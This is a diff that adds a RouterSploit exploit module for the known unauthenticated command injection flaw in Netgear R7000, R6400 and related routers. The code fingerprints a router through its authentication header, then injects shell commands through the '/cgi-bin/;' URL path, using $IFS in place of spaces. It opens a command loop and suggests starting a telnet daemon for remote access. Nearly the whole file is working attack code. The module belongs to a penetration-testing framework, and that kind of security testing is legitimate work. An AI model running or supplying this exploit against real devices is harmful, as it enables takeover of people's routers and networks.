Netgear R7000 & R6400 RCE exploit

routersploit/modules/exploits/netgear/r7000_r6400_rce.py

+from routersploit import (
+    exploits,
+    print_status,
+    print_success,
+    print_error,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for multiple Netgear's Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
+    """
+    __info__ = {
+        'name': 'Netgear R7000 & R6400 RCE',
+        'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is '
+                       'vulnerable, command loop is invoked that allows executing commands on operating system level.',
+        'authors': [
+            'Chad Dougherty',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/',
+            'https://www.exploit-db.com/exploits/40889/',
+            'http://www.kb.cert.org/vuls/id/582384',
+
+        ],
+        'devices': [
+            'R6400 (AC1750)',
+            'R7000 Nighthawk (AC1900, AC2300)',
+            'R7500 Nighthawk X4 (AC2350)',
+            'R7800 Nighthawk X4S(AC2600)',
+            'R8000 Nighthawk (AC3200)',
+            'R8500 Nighthawk X8 (AC5300)',
+            'R9000 Nighthawk X10 (AD7200)',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        if self.check():
+            print_success("Target is probably vulnerable")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection. Try to start telnet with telnet telnetd -p '4445'")
+            shell(self, architecture="arm")
+        else:
+            print_error("Target is not vulnerable")
+
+    def execute(self, cmd):
+        cmd = cmd.replace(" ", "$IFS")
+        url = "{}:{}/cgi-bin/;{}".format(self.target, self.port, cmd)
+
+        http_request(method="GET", url=url)
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/".format(self.target, self.port)
+
+        response = http_request(method="HEAD", url=url)
+
+        if response is None:
+            return False  # target is not vulnerable
+
+        if "WWW-Authenticate" in response.headers.keys():
+            if any(map(lambda x: x in response.headers['WWW-Authenticate'], ["NETGEAR R7000", "NETGEAR R6400"])):
+                return True
+
+        return False